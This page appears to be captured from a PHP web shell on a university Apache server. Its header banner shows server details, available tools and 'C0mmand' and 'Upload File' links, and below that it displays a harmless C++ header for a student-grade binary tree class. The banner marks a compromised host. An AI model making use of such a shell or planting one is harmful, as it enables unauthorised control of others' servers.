Server IP : 172.16.15.8 / Your IP : 3.145.61.199 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0705) : /home/rnlink/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
// stutree.h - header file for grade tree class struct Treenode { // A node in the tree int grade; // grade itself int count; // number of times this grade earned Treenode* left; // ptr to left subtree Treenode* right; // ptr to right subtree }; class Gradetree { public: // default constructor Gradetree (); // copy constructor - for deep copies Gradetree (const Gradetree& othergradetree); // destructor ~Gradetree (); // overload assignment for deep copies void operator= (const Gradetree& othergradetree); // visit inorder and display grades void Inorder (); // visit preorder and display grades void Preorder (); // visit postorder and display grades void Postorder (); // display a sideways "picture" of the tree int SumGrades(); int NumGrades(); float AvgGrade(); int NodeCount(); int LeafCount(); int NonLeafCount(); bool SimilarTrees(Gradetree othertree); int Height(); void TreePicture (); // add a new grade to the tree void Insert (int newgrade); // delete one occurrence of a grade from the tree (assumes grade exists) void Delete (int delgrade); // count the number of nodes in the tree private: Treenode* copytree (Treenode* t); // used by copy constructor and operator= void destroytree (Treenode* t); // used by destructor // remainder of functions are recursive equivalents for public members void Inorder (Treenode* t); void Preorder (Treenode* t); void Postorder (Treenode* t); int SumGrades(Treenode* t); int NumGrades(Treenode* t); int NodeCount(Treenode* t); int LeafCount(Treenode* t); int NonLeafCount(Treenode* t); bool SimilarTrees(Treenode* t, Treenode* othertree); int Height(Treenode* t); void Treepicture (Treenode* t, int level); void Insert (Treenode* &t, int newgrade); void Delete (Treenode* &t, int delgrade); // Finally, the private data! Treenode* root; }; #include "stutree.cpp"